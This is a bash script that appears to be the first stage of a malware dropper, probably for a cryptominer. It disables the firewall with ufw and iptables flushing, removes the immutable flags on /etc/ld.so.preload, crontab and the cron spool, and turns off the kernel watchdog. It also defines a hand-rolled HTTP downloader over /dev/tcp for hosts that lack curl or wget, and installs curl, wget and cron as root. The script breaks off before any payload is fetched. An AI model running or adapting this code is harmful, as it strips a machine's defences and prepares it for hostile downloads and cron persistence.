lh

#!/bin/bash                                                                                                                                                          

ulimit -n 65535

chattr -i /etc/ld.so.preload
rm -f /etc/ld.so.preload
chattr -R -i /var/spool/cron
chattr -i /etc/crontab
ufw disable
iptables -F
echo '0' >/proc/sys/kernel/nmi_watchdog
echo 'kernel.nmi_watchdog=0' >>/etc/sysctl.conf
ROOTUID="0"

function __curl() {
  read proto server path <<<$(echo ${1//// })
  DOC=/${path// //}
  HOST=${server//:*}
  PORT=${server//*:}
  [[ x"${HOST}" == x"${PORT}" ]] && PORT=80

  exec 3<>/dev/tcp/${HOST}/$PORT
  echo -en "GET ${DOC} HTTP/1.0\r\nHost: ${HOST}\r\n\r\n" >&3
  (while read line; do
   [[ "$line" == $'\r' ]] && break
  done && cat) <&3
  exec 3>&-
}

if [ -s /usr/bin/curl ]; then
  echo "found curl"
elif [ -s /usr/bin/wget ]; then
  echo "found wget"
else
  echo "found none"
  if [ "$(id -u)" -ne "$ROOTUID" ] ; then
    echo "not root"
  else
    apt-get update
    apt-get install -y curl
    apt-get install -y wget
    apt-get install -y cron
  fi
fi